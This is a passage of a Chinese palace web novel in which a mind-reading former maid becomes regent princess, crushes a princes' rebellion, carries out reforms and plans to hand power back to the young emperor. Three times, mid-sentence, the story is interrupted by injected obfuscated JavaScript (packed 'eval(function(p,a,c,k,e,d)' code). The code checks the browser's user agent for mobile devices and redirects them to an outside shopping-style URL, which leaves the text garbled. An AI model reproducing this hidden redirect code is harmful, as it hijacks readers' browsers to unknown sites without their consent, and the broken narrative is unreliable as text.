阿沅看着太后,又看了看金銮殿上那个尚且稚嫩的新帝,耳边听着朝中大臣的心声,听着各地藩王的野心,心中渐渐有了一个大胆的念头。这个念头,一旦升起,便再也无法压下去——她要临朝称制,辅佐新帝,处理朝政,稳定大楚的江山。 她知道,这个念头太过惊世骇俗。女子临朝称制,古往今来,从未有过,朝中大臣定然会极力反对,各地藩王也会以此为借口,起兵谋逆。可她也知道,如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228624|197582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的大楚,唯有她能担此重任。她有听心的异能,能看透人心的算计,能提前察觉危险;她有多年在宫闱与朝堂积攒的人心,有赵将军的兵权支持,有柳太傅的辅佐;她有勇有谋,沉稳果决,能处理朝政,能稳定大局。 若是她不临朝称制,新帝年幼,朝政混乱,各地藩王必定会起兵谋逆,大楚江山定会分崩离析,百姓定会陷入水深火热之中。先帝重托,新帝信任,大楚江山,黎民百姓,都在等着她撑起这片天。 哪怕身背千古骂名,哪怕被天下人诟病,她也要临朝称制,护大楚江山安稳,护黎民百姓安居乐业。 这日,早朝之上,新帝苏瑾端坐于龙椅之上,阿沅立于龙椅之侧,柳太傅出列,奏道:“陛下,如今各地藩王蠢蠢欲动,朝政不稳,陛下年幼,难以独自处理朝政,臣恳请陛下,下旨令镇国长公主阿沅,临朝称制,辅佐陛下处理朝政,待陛下亲政,再交还权柄!” 柳太傅的话音落,金銮殿上瞬间安静下来,众臣面面相觑,心底各有思量。【柳太傅竟提议让女子临朝称制,这也太过惊世骇俗了!】【可如今的局势,也唯有镇国长公主能稳定大局,若是她不临朝称制,大楚江山定生变数。】【镇国长公主功绩卓著,能力卓绝,若是她临朝称制,未必不是一件好事。】 阿沅看着众臣,缓步走出,对着新帝躬身行礼,高声道:“陛下,臣阿沅,受先帝重托,护陛下登基,守大楚江山。如今陛下年幼,朝政不稳,各地藩王蠢蠢欲动,臣愿临朝称制,辅佐陛下处理朝政,整肃朝纲,平定藩王,待陛下亲政,便即刻交还权柄,永无二心!” 她的声音坚定,掷地有声,传遍整个金銮殿。新帝苏瑾看着阿沅,眼中满是信任与敬重,他走下龙椅,拉住阿沅的手,对着众臣高声道:“朕准奏!封镇国长公主阿沅为摄政长公主,临朝称制,辅佐朕处理朝政,朝中大小事务,皆由摄政长公主决断,百官皆需听命,违者,以谋逆论处!” 新帝的旨意一出,柳太傅率先躬身行礼:“臣遵旨!” 赵将军与一众忠于先帝的大臣,也纷纷躬身行礼:“臣遵旨!” 那些心存疑虑的大臣,见新帝旨意已下,又有柳太傅与赵将军支持,也不敢再反对,纷纷躬身行礼:“臣遵旨!” 金銮殿上,百官朝拜,齐声高呼:“恭迎摄政长公主临朝称制!吾皇万岁万岁万万岁!摄政长公主千岁千岁千千岁!” 阿沅立于金銮殿中央,接受着百官的朝拜,看着脚下的文武大臣,看着身后的新帝,看着这金碧辉煌的金銮殿,眼底闪过一丝坚定。她知道,从今日起,她便成了大楚的摄政长公主,临朝称制,手握天下大权。她的肩上,扛起了整个大楚的江山,扛起了黎民百姓的期望。 前路注定布满荆棘,朝中会有质疑,各地藩王会有反抗,天下人会有诟病,可她无所畏惧。她是阿沅,那个从尚书府浣衣局走出的听心丫鬟,那个在深宫中步步为营的掌事女官,那个扳倒柳家、护新帝登基的护国女官。她凭借着自己的智慧与果敢,凭借着听心的异能,一步步走到今天,也定能凭借着自己的力量,整肃朝纲,平定藩王,稳定大楚的江山,辅佐新帝成长为一位贤明的君主。 只是,阿沅自己也不知道,这份临朝称制的权力,一旦握在手中,是否还能轻易放下。这大楚的江山,这至高无上的权力,是否会让她的心境,发生改变。而她的未来,又会走向何方?是辅佐新帝亲政后,归隐深宫,还是会在这权力的顶峰,走出一条属于自己的,前所未有的道路——一条从摄政长公主,到一代女皇的道路。 金銮殿的龙椅之上,新帝尚且稚嫩,而龙椅之侧的摄政长公主,却已是光芒万丈,掌控着整个大楚的江山。大楚的未来,便握在这个女子的手中,而属于阿沅的传奇,也迎来了全新的篇章。这深宫,这朝堂,这天下,都将因她,而掀起新的风浪。 17. 藩王作乱,铁血平叛 摄政长公主临朝称制的旨意颁下三日后,阿沅身着绣金紫绶的长公主朝服,第一次以摄政之身登上金銮殿,立于新帝苏瑾身侧,接受百官朝拜。殿外钟鼓齐鸣,殿内鸦雀无声,文武百官的心声如潮水般涌入阿沅耳中,有敬畏、有信服,也有暗藏的质疑与观望。 【摄政长公主虽有大功,可终究是女子临朝,古往今来从未有过,怕是难镇朝纲。】 【如今藩王虎视眈眈,唯有长公主能稳住局面,她若不行,大楚便真的完了。】 【看她今日气度沉稳,言辞有度,倒有几分帝王风范,或许,大楚能因她而安。】 阿沅面不改色,目光扫过阶下百官,声音清冽而坚定,透过金銮殿的穹顶,传至每一个角落:“今上年幼,国祚初稳,藩王怀异心,边陲有动荡,本公主受先帝遗命、今上托孤,临朝称制,唯以‘安邦、抚民、整纲、平乱’为念。凡忠于大楚、心系天下者,本公主必厚待之;凡包藏祸心、谋逆作乱者,无论亲疏,必严惩不贷!” 话音落,她抬手示意百官平身,随即开始处理朝政。从各地奏折的批阅,到朝中官员的调配,再到京中禁军的布防,阿沅条理清晰,决断果决,每一个指令都切中要害,远非寻常女子所能及。连年过七旬的柳太傅都暗自惊叹:【长公主虽无帝王之名,却有帝王之能,先帝识人,果真不假。】 阿沅的临朝称制,虽稳住了京中朝局,却彻底激怒了各地藩王。早在先帝崩逝、柳家专权之时,各地藩王便已暗中招兵买马,如今见大楚由一介女子摄政,新帝年幼可欺,更是觉得有机可乘。不出半月,远在西南的蜀王、东南的吴王便率先起兵,以“清君侧,诛女祸”为旗号,率军直逼京城,随后,岭南的南越王、北方的代王也先后响应,四方藩王联兵数十万,声势浩大,一路势如破竹,连破数座州府,朝野震动。 消息传回京城,金銮殿上一片慌乱,不少大臣面露惧色,心声里满是惶恐:【四方藩王联兵,数十万大军压境,我朝京中禁军仅有五万,如何抵挡?】 【不如求和吧,割地赔款,让藩王退兵,至少能保京城安稳。】 【都是因为女子临朝,才惹得藩王作乱,不如废了长公主,迎立藩王中最年长的蜀王为摄政王,或许能平息战乱。】 阿沅听着这些怯懦的心声,眼底掠过一丝寒意,猛地拍案而起,紫绶朝服在风中微扬,自带一股铁血威严:“求和?割地赔款?尔等身为大楚臣子,不思守土卫国,反倒想着卑躬屈膝,愧对先帝,愧对天下百姓!藩王以‘清君侧’为旗号,实则是谋逆夺权,今日若退一步,明日他们便会直入京城,取今上而代之,届时,大楚江山易主,尔等皆是亡国之臣,何来安稳可言?” 她的声音掷地有声,震得殿内大臣纷纷低头,无人再敢言求和。阿沅随即看向阶下的禁军统领赵谦,沉声道:“赵将军,京中禁军现有五万,你可敢领三万兵马,驻守潼关?潼关乃京城门户,地势险要,只要你能守得住三月,本公主便有把握调兵遣将,平定藩王之乱。” 赵谦跨步出列,单膝跪地,声如洪钟:“末将遵令!愿领三万禁军驻守潼关,与潼关共存亡!若藩王踏过潼关一步,末将提头来见!”他的心声里满是决绝:【长公主信任我,委我以重任,我定当拼死相报,护大楚国门,绝不让藩王作乱得逞。】 阿沅点了点头,又看向柳太傅:“柳太傅,烦请您留守京城,辅佐今上处理朝政,安抚百姓,同时督办粮草,确保前线粮草供应,不得有丝毫差池。” “老臣遵旨。”柳太傅躬身应道,眼底满是敬佩。 随后,阿沅又下了三道旨意:其一,调西北守边的十万铁骑回京,由镇北将军率领,星夜兼程,直击蜀王与吴王的联军后路;其二,下旨安抚各州府官员,令其坚守城池,凡击退藩王进攻者,官升三级,赏黄金百两;其三,赦免狱中罪不至死的将士,令其戴罪立功,奔赴前线,若能立下战功,既往不咎,还可加官进爵。 三道旨意颁下,朝野上下人心安定,各地官员与将士纷纷响应,原本慌乱的局面,瞬间被阿沅以雷霆手段稳住。而阿沅自己,则亲领两万禁军,坐镇洛阳,居中调度,成为平定藩王之乱的核心。 洛阳城内,阿沅的临时行宫之中,灯火彻夜不熄。她每日批阅奏折至深夜,一边关注着潼关的防守情况,一边调配各地兵马,同时凭借着听心的异能,捕捉着前线将士与藩王的心声,提前预判藩王的行军路线与作战策略。 【蜀王好大喜功,急于攻下潼关,定会下令强攻,潼关地势险要,强攻必败,正好可以挫其锐气。】 【吴王心思缜密,想绕开潼关,从侧翼偷袭,需令潼关侧翼的守军严加防备。】 【镇北将军的十万铁骑已行至半路,蜀王与吴王尚未察觉,可令其绕至联军后方,断其粮草。】 这些从各方心声中捕捉到的信息,成为阿沅排兵布阵的关键。她接连下旨,令赵谦死守潼关,故意示弱,诱使蜀王强攻;令潼关侧翼守军暗中布防,伏击吴王的偷袭部队;令镇北将军率铁骑绕至联军后方,烧毁其粮草大营。 不出十日,前线捷报频传:蜀王率三万大军强攻潼关,被赵谦设下的伏兵打得大败,死伤过半,锐气大挫;吴王的偷袭部队陷入侧翼守军的包围,全军覆没,吴王仅以身免;镇北将军的十万铁骑烧毁藩王联军的粮草大营,数十万大军陷入断粮危机。 四方藩王得知消息后,军心大乱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而她不知道的是,随着她的权势日益滔天,随着她的威望遍布天下,一些不一样的心思,正在百官与百姓的心底悄然滋生:【长公主功高盖世,英明神武,比今上更适合做大楚的帝王。】 【女子为何不能为帝?长公主能平定叛乱,能安邦定国,她若为帝,大楚定会国泰民安。】 【今上年幼,即便亲政,恐也难及长公主之能,不如拥立长公主为帝,改朝换代,开创大楚新局。】 这些心声,像一颗颗种子,落在阿沅的心底,也落在大楚的每一寸土地上,悄然生根发芽。而阿沅的命运,也在这一刻,悄然走向了一个无人能预料的方向——从摄政长公主,走向那至高无上的帝王之位。 18. 休养生息,民心归向 藩王之乱平定后,大楚迎来了难得的平静,却也陷入了重重困境。历经数月战乱,北方数州与西南、东南之地残破不堪,良田荒芜,城池损毁,无数百姓流离失所,沦为流民;国库因连年征战与柳家贪腐,早已空虚,连前线将士的军饷都难以支付;各地吏治腐败,不少官员趁战乱中饱私囊,欺压百姓,民怨渐起。 阿沅回京后,第一件事便是召开朝会,与百官商议休养生息之策。金銮殿上,阿沅将各地的灾情奏折掷于阶下,沉声道:“如今大楚,内忧外患虽解,却已是满目疮痍。百姓流离失所,国库空虚,吏治腐败,若不尽快整顿,大楚必生新乱。今日召尔等前来,便是要商议出一条安邦抚民之路,凡有良策者,本公主必重赏之;若有推诿塞责、不思为民者,休怪本公主无情!” 百官看着阶下的灾情奏折,皆面露凝重,纷纷低头思索。阿沅听着众人的心声,筛选着其中的良策,偶尔出言点拨,引导百官的思路。最终,在阿沅的主导下,一套完整的休养生息之策就此定下,共分四端,史称“圣德新政”。 其一,抚流民,复农桑。阿沅下旨,令各地官员开仓放粮,赈济流离失所的百姓,同时划拨国库仅存的银两,在各地修建安置房,让流民有屋可居;又下令赦免百姓三年赋税,鼓励百姓回归故土,开垦荒地,凡开垦荒地者,归其所有,另赐种子与农具。为确保政策落地,阿沅派遣数十名亲信大臣,分赴各地巡查,凡有官员敢克扣赈灾粮款、欺压百姓者,就地免职,押解回京问罪。 其二,整吏治,明赏罚。阿沅下令,对全国官员进行全面考核,考核标准以“安民、兴农、廉洁”为核心,凡考核优秀者,即刻提拔;考核合格者,留任原职;考核不合格者,贬官或罢官。同时,设立监察院,由阿沅亲自掌控,监察全国官员,凡有贪腐、渎职者,无论官职高低,一律严查严办,绝不姑息。此举一出,朝野上下震动,不少贪腐官员惶惶不可终日,而清正廉洁的官员则备受鼓舞,吏治风气为之一新。 其三,充国库,通商贸。国库空虚,是大楚面临的最大难题。阿沅摒弃了以往重农抑商的政策,下令开放全国通商口岸,鼓励民间经商,同时降低商税,吸引周边各国的商人前来大楚贸易;又整顿盐铁专营,规范盐铁贸易,增加国库收入;此外,阿沅还下令清查柳家与藩王的家产,抄没的黄金、白银、良田、商铺尽数充入国库,瞬间让空虚的国库充盈了不少。 其四,强军备,固边陲。藩王之乱虽平,可大楚的边防依旧薄弱,北方的匈奴与西方的吐蕃,早已对大楚虎视眈眈。阿沅下旨,整顿全国军队,裁汰老弱病残,保留精锐,同时加强军队训练,改良兵器;又令镇北将军率十万铁骑驻守北方边陲,令镇西将军率五万大军驻守西方边陲,严阵以待,防备外族入侵。同时,阿沅还派人前往匈奴与吐蕃,与其议和,互通有无,暂时稳住了边陲局势。 “圣德新政”颁下后,阿沅亲自督办,事无巨细,皆亲自过问。她每日天不亮便起床,批阅奏折,接见大臣,巡查各地,常常忙至深夜,连歇息的时间都极少。柳太傅与赵谦等人多次劝她保重身体,阿沅却只是淡淡道:“今上年幼,百姓流离,大楚百废待兴,我身为摄政长公主,责无旁贷。” 她的辛劳,百官看在眼里,百姓记在心里。而阿沅的听心异能,更是让“圣德新政”的推行事半功倍——她能听到各地官员的心声,提前察觉那些阳奉阴违、想要克扣粮款、贪腐谋私的官员,及时将其拿下,确保政策落地;她能听到百姓的心声,知晓百姓的难处与需求,及时调整政策,让新政更贴合民心。 在江南,有官员暗中克扣赈灾粮款,想要中饱私囊,阿沅从巡查大臣的心声中得知后,即刻下旨,令赵谦率三千铁骑星夜赶赴江南,将该官员就地正法,抄没其家产,赈济百姓。江南百姓得知后,无不拍手称快,纷纷跪地高呼:“长公主千岁千岁千千岁!” 在北方,有百姓因荒地开垦困难,心生退意,阿沅从当地官员的心声中得知后,即刻下旨,令各地官府派遣农官,指导百姓开垦荒地,同时调拨银两,修建水利工程,解决灌溉问题。北方百姓得以顺利开垦荒地,收获粮食,对阿沅感恩戴德。 在京城,监察院接连查处了数十名贪腐官员,上至尚书,下至县丞,无一幸免,京城的吏治风气焕然一新,百姓上街行走,再也不用担心被官员欺压,市井之间,一片祥和。 短短一年时间,“圣德新政”便初见成效:各地流民纷纷回归故土,良田得以开垦,农桑得以恢复,粮食丰收,百姓安居乐业;吏治清明,官员各司其职,再也无人敢贪腐渎职;国库日渐充盈,商贸往来频繁,大楚的经济逐渐复苏;军队得以整顿,边陲得以稳固,匈奴与吐蕃不敢轻易来犯,大楚迎来了难得的国泰民安。 这一年,阿沅走遍了大楚的大江南北,从繁华的京城,到残破的边疆,从富庶的江南,到贫瘠的北方,她的足迹遍布每一寸土地,她的身影出现在每一个需要她的地方。她身着素衣,与百姓同吃同住,倾听百姓的心声,解决百姓的难处;她身着朝服,与将士同甘共苦,鼓舞将士的士气,稳固大楚的边防。 她的容貌,依旧普通,却因那份心系天下、为民操劳的心意,变得熠熠生辉;她的身影,依旧单薄,却因那份安邦定国、铁血果断的能力,成为大楚百姓心中的定海神针。 百姓的心底,早已没有了“女子临朝”的质疑,只剩下无尽的爱戴与敬仰。他们不再称她为“摄政长公主”,而是私下里称她为“阿沅帝姬”,将她视作大楚真正的帝王。街头巷尾,处处流传着阿沅的故事,有她平定藩王之乱的铁血,有她整顿吏治的清明,有她赈济百姓的仁慈,有她操劳国事的辛劳。 【长公主为了我们百姓,操碎了心,她就是我们大楚的活菩萨。】 【若不是长公主,我们现在还在流离失所,吃不饱穿不暖,她就是我们的再生父母。】 【女子为何不能为帝?长公主比任何男子都更适合做我们大楚的帝王,她若为帝,我们定然誓死拥戴。】 这些来自百姓的心声,像一股股暖流,涌入阿沅的心底,也像一颗颗火种,点燃了大楚上下拥立阿沅为帝的念头。百官之中,越来越多的人开始心生拥立之意,柳太傅、赵谦等核心大臣,更是多次私下商议,想要联名上奏,请阿沅废帝自立,登基为帝。 这一日,柳太傅与赵谦一同前往长乐宫,求见阿沅。长乐宫内,阿沅正坐在灯下批阅奏折,见二人前来,放下手中的朱笔,淡淡道:“太傅与将军前来,可是有要事?” 柳太傅与赵谦对视一眼,双双跪地,沉声道:“老臣/末将,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228626|197582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一事启禀长公主,此事关乎大楚江山社稷,还望长公主应允。” 阿沅看着二人跪地,心中已然知晓他们的来意,耳边也清晰地听到了他们的心声:【今上年幼,虽聪慧,却难及长公主之能,大楚的江山,唯有长公主能撑起来。】 【百姓心向长公主,百官拥戴长公主,长公主登基为帝,乃是民心所向,天意所归。】 阿沅的指尖微微一顿,眼底掠过一丝复杂的情绪。她从未想过,自己会走到这一步——从尚书府的一个底层浣衣丫鬟,到皇宫的掌事女官,再到摄政长公主,如今,竟要登上那至高无上的帝王之位。 她沉默了许久,看着跪在地上的柳太傅与赵谦,看着窗外的月色,耳边仿佛听到了大楚百姓的心声,听到了前线将士的心声,听到了朝中百官的心声。那些心声,汇聚成一句话:“拥立长公主为帝,大楚国泰民安!” 阿沅缓缓站起身,走到窗前,目光望向远方的星空,声音平静却坚定:“太傅,将军,起来吧。此事,容我三思。” 柳太傅与赵谦相视一笑,知道阿沅心中已然松动,连忙躬身起身:“老臣/末将,静候长公主旨意。” 夜色渐深,长乐宫的灯火依旧明亮,阿沅独自站在窗前,久久未动。她的手中,紧紧攥着母亲留给她的那支银簪,银簪的纹路,早已刻入她的心底。 从十岁那年得知自己有听心的异能,到十三岁父母双亡被卖入尚书府,再到十四岁入宫,一步步走到今天,她经历了太多的苦难,太多的算计,太多的争斗。她从一个任人宰割、谨小慎微的小丫鬟,变成了一个铁血果断、安邦定国的摄政长公主,靠的不是运气,不是靠山,而是自己的听心异能,是自己的谨慎隐忍,是自己的智慧果敢,更是那份心系天下、为民操劳的初心。 她知道,登基为帝,意味着她将打破古往今来“女子不可为帝”的桎梏,意味着她将承受千古骂名,意味着她将站在权力的顶峰,独自面对所有的风雨与挑战。可她也知道,登基为帝,是民心所向,是天意所归,是守护大楚江山的唯一选择。 今上苏瑾虽聪慧,可终究年幼,历经柳家专权与藩王之乱,大楚的百姓与百官,早已心向于她。若是她执意归还权柄,苏瑾亲政后,恐难以镇住朝局,难以守住这来之不易的国泰民安,大楚很可能会再次陷入内乱,百姓又将流离失所。 为了大楚的江山社稷,为了天下的黎民百姓,为了守住这来之不易的平静,她必须登上那帝王之位。 哪怕身背千古骂名,哪怕前路布满荆棘,她也在所不辞。 窗外的月色,洒在阿沅的身上,映着她坚定的眼神。她缓缓抬起手,抚摸着手中的银簪,在心底默默道:“娘,女儿要做一件前无古人的事,要做大楚的帝王,要让大楚国泰民安,要让天下百姓安居乐业。您放心,女儿定不会让您失望,定不会让大楚的百姓失望。” 这一刻,阿沅心中的犹豫尽数散去,只剩下坚定的决心。她知道,属于她的帝王之路,即将开启。而大楚的历史,也将在她的手中,翻开全新的一页——一页由女子书写的,辉煌而传奇的帝王篇章。 长乐宫的灯火,彻夜不熄,映着阿沅的身影,也映着大楚未来的希望。金銮殿上的那把龙椅,已然在向她招手,而大楚的天下,也终将归属于她。 19. 归政风波,人心向背 大楚承平三年,春和景明,洛水河畔柳丝垂绦,京城内外一片祥和。此时距阿沅临朝称制已过三载,三年间,她推行新政,休养生息,整肃吏治,强军固边,大楚从藩王之乱后的满目疮痍中迅速复苏,国库充盈,百姓安居乐业,边陲安稳无虞,一派国泰民安的盛景。而新帝苏瑾,也已从十二岁的稚童长成十五岁的少年,眉眼间初具帝王威仪,每日随阿沅临朝听政,处理朝政,在柳太傅与阿沅的悉心教导下,对朝政事务愈发熟悉,俨然已有了亲政的模样。 朝堂之上,关于“归政新帝”的呼声,也在此时悄然响起。先是几位守旧的老臣,以“帝王成年,当亲掌朝政”为由,联名上奏,请阿沅归政于苏瑾,随后,朝中不少大臣纷纷附和,一时之间,归政之事成为了朝野上下热议的话题。 长乐宫内,阿沅手持那封联名奏折,指尖轻轻划过奏折上的字迹,耳边听着殿外百官的心声,神色平静,无悲无喜。 【摄政长公主虽有功于大楚,可终究是女子,如今皇上已然成年,理当亲掌朝政,女子临朝,终究不合祖制。】这是吏部尚书的心声,他乃三朝元老,守旧思想根深蒂固,始终对女子临朝心存芥蒂,只是碍于阿沅的威望与功绩,不敢轻易表露。 【皇上成年亲政,乃是天经地义,只是长公主掌权三年,朝中大小事务皆由其决断,怕是不愿轻易归政。我等身为臣子,当以祖制为重,恳请长公主归政,以正朝纲。】这是礼部侍郎的心声,他看似刚正不阿,实则早已被几位藩王的残余势力暗中拉拢,想要借归政之事,扳倒阿沅,重新掌控朝政。 【长公主推行新政,利国利民,我大楚能有今日的盛景,全赖长公主之功。皇上虽已成年,可终究缺乏历练,若是此时归政,恐难镇住朝局,不如再让长公主辅佐几年,待皇上羽翼丰满,再归政不迟。】这是户部尚书的心声,他深受阿沅知遇之恩,对阿沅的能力与功绩心悦诚服,真心希望阿沅能继续辅佐苏瑾,稳定朝局。 【归政之事,看似是祖制之争,实则是权力之争。那些守旧老臣与藩王残余势力,不过是想借归政之名,夺长公主之权,若是皇上此时亲政,无长公主撑腰,定难与这些人抗衡,大楚的太平日子,怕是就要到头了。】这是禁军统领赵谦的心声,他手握京中兵权,始终坚定地站在阿沅这边,对那些借归政之名谋私的大臣深恶痛绝。 阿沅放下奏折,抬眼看向站在一旁的柳太傅,轻声道:“太傅,你看此事,该如何处置?” 柳太傅躬身道:“长公主,如今朝野上下,关于归政之事,众说纷纭,有支持归政者,有反对归政者,究其根本,不过是因祖制与现实相悖。祖制规定,帝王成年即亲政,可如今大楚的太平,皆赖长公主之功,皇上虽已成年,却尚缺历练,若是贸然归政,恐生变数。老臣以为,此事当从长计议,既不能违逆祖制,也不能置大楚的江山社稷于不顾。” 柳太傅的心声,阿沅听得一清二楚:【归政之事,牵一发而动全身,若是处理不当,轻则朝局动荡,重则天下大乱。长公主功高盖世,民心所向,若是强行归政,恐失民心;可若是拒不归政,又会被人抓住“贪恋权位”的把柄,授人以柄。唯有寻一个两全之策,既能顺应祖制,又能让长公主继续辅佐皇上,稳定朝局。】 阿沅点了点头,柳太傅的话,正说到了她的心坎里。她并非贪恋权位,只是深知苏瑾虽已成年,却终究缺乏独当一面的能力,朝中那些守旧老臣与藩王残余势力,虎视眈眈,若是此时归政,苏瑾定难与之抗衡,她三年来的心血,大楚三年来的太平,都将付诸东流。可若是她拒不归政,又会违背祖制,被人诟病“贪恋权位”“女子干政”,反而会给那些别有用心之人可乘之机。 “太傅所言极是,此事确需从长计议。”阿沅缓缓道,“传我旨意,三日后召开朝会,与众臣共议归政之事,届时,无论结果如何,皆依朝议而定。” “老臣遵旨。”柳太傅躬身应道。 旨意传出,朝野上下一片震动。有人赞阿沅心怀天下,不恋权位;有人则暗自揣测,认为阿沅不过是故作姿态,终究不会轻易归政;还有人则趁机暗中联络,想要在三日后的朝会上,逼迫阿沅归政。 三日后,金銮殿上,文武百官齐聚,新帝苏瑾端坐于龙椅之上,阿沅立于龙椅之侧,紫绶朝服加身,气度沉稳,不怒自威。 朝会伊始,吏部尚书便率先出列,手持朝笏,高声道:“陛下,臣有奏。祖制规定,帝王及冠,即亲掌朝政。如今陛下已年满十五,行及冠之礼,理当亲掌朝政,总领天下事。摄政长公主虽有功于大楚,可如今陛下成年,长公主当归政于陛下,以正祖制,以安民心。臣恳请陛下,下旨令长公主归政!” 话音落,数十位大臣纷纷出列,躬身附和:“臣等恳请陛下,下旨令长公主归政!”这些人,皆是守旧老臣与藩王残余势力的追随者,一个个神色坚定,看似义正词严,实则心底各有算计。 苏瑾坐在龙椅上,看着阶下的大臣,眼神微微闪烁,心底满是犹豫与不安:【众臣皆请我亲政,可我深知,自己尚且缺乏历练,若是此时亲政,恐难处理朝政,若是有阿沅姐姐辅佐,我便安心许多。可祖制在前,众臣恳请,我若是拒绝,恐失民心。】 阿沅听着苏瑾的心声,眼底掠过一丝淡淡的笑意,这三年来,苏瑾虽有长进,可终究还是太过稚嫩,缺乏帝王应有的果决与魄力。 就在这时,户部尚书出列,高声反驳:“吏部尚书此言差矣!祖制虽规定帝王成年亲政,可也言‘国难之时,可由亲贵辅政’。前番藩王之乱,大楚几近倾覆,若非长公主临朝称制,铁血平叛,推行新政,何来今日的国泰民安?如今陛下虽已成年,可尚缺历练,朝中尚有奸佞之徒虎视眈眈,若是此时归政,恐生变数,大楚的江山社稷,恐将再次陷入危机。臣恳请陛下,暂缓归政,让长公主继续辅佐陛下,待陛下羽翼丰满,再归政不迟!” 紧接着,赵谦、镇北将军、镇西将军等一众手握兵权与深受阿沅知遇之恩的大臣,纷纷出列,躬身附和:“臣等恳请陛下,暂缓归政!” 金銮殿上,两派大臣各执一词,互不相让,吵作一团,朝局瞬间陷入僵持。那些中立的大臣,则站在原地,面面相觑,心底各有思量,不知该如何抉择。 【两派相争,各有道理,一边是祖制,一边是现实,若是选错边,恐引火烧身,不如静观其变,看长公主与皇上如何决断。】这是大多数中立大臣的心声。 阿沅看着阶下争吵的大臣,缓缓抬手,示意众人安静。金銮殿上,瞬间鸦雀无声,所有的目光,都聚焦在阿沅身上。 阿沅的目光扫过阶下百官,声音清冽而坚定,传遍整个金銮殿:“诸位大人,今日共议归政之事,皆是为了大楚的江山社稷,阿沅心领了。祖制不可违,陛下成年亲政,乃是天经地义,阿沅身为摄政长公主,辅佐陛下,本就是权宜之计,如今陛下成年,阿沅自当归政,绝无半分贪恋权位之心。” 此言一出,金銮殿上一片哗然,那些恳请归政的大臣,面露喜色,而那些恳请暂缓归政的大臣,则面露焦急,纷纷想要开口劝说。 阿沅抬手,阻止了众人的言语,继续道:“只是,大楚今日的太平,来之不易,前番藩王之乱的教训,犹在眼前。陛下虽已成年,可尚缺历练,若是骤然亲政,恐难应对朝中的风风雨雨。阿沅以为,归政之事,可分三步而行,既遵祖制,又保朝局安稳,不知陛下与诸位大人意下如何?” 苏瑾连忙道:“阿沅姐姐请讲,朕洗耳恭听,众卿也一同听听。” 阿沅道:“第一步,即日起,陛下亲掌祭祀、册立等礼仪之事,熟悉帝王威仪,树立帝王威信;第二步,三月之内,阿沅将朝中六部事务,逐步移交陛下处理,阿沅从旁辅佐,指点陛下处理朝政的方法与技巧,让陛下熟悉朝政事务;第三步,半年之后,阿沅彻底归政于陛下,不再干预朝政,只在陛下有需要之时,略作指点。此三步,循序渐进,既让陛下得以亲政,遵祖制,安民心,又能让陛下逐步熟悉朝政,积累经验,避免朝局动荡。不知陛下与诸位大人,可同意此策?” 阿沅的话音落,金銮殿上陷入了短暂的沉默,众臣都在心底思索着这三步之策的利弊。 【这三步之策,看似是归政,实则是让长公主继续辅佐皇上半年,只是换了一种方式而已。可此策循序渐进,既遵祖制,又保朝局安稳,挑不出任何毛病,若是反对,恐会被人指责为不顾江山社稷。】这是吏部尚书的心声,他虽心有不甘,却也知道,此策已是最好的结果,若是强行反对,只会引火烧身。 【长公主此策,两全其美,既顺应了祖制,又能让皇上继续得到长公主的辅佐,积累经验,稳定朝局,实乃上上之策。】这是户部尚书的心声,面露喜色,真心为阿沅的智慧所折服。 【长公主心思缜密,此策既堵住了那些别有用心之人的嘴,又能继续守护大楚的江山社稷,不愧是我大楚的定海神针。】这是赵谦的心声,满是敬佩。 苏瑾坐在龙椅上,听着阿沅的三步之策,心底的犹豫与不安尽数散去,面露喜色:“阿沅姐姐此策,甚合朕意!既遵祖制,又保朝局安稳,朕准奏!就依阿沅姐姐所言,归政之事,分三步而行,半年之后,阿沅姐姐彻底归政于朕!” 见皇上已然准奏,那些恳请归政的大臣,虽心有不甘,却也不敢再反对,纷纷躬身道:“臣等遵旨!” 那些恳请暂缓归政的大臣,也纷纷躬身道:“臣等遵旨!” 中立的大臣,也纷纷躬身附和:“臣等遵旨!” 金銮殿上,一场关乎权力更迭的归政风波,就这样被阿沅以三步之策,轻描淡写地化解,既顺应了祖制,又保住了朝局的安稳,更让那些别有用心之人,挑不出任何毛病,只能哑巴吃黄连,有苦说不出。 朝会结束后,归政三步之策迅速颁行天下,百姓得知后,纷纷拍手称赞,既为新帝成年亲政而欣喜,也为摄政长公主的深明大义与心思缜密而敬佩。 【长公主真是心怀天下,不恋权位,还为皇上考虑得如此周全,有这样的长公主,是我大楚百姓的福气。】 【归政分三步,循序渐进,既让皇上亲政,又能让皇上积累经验,长公主的智慧,真是无人能及。】 【就算半年之后长公主归政,有她这半年的辅佐,皇上定能快速成长,大楚的江山,定会越来越安稳。】 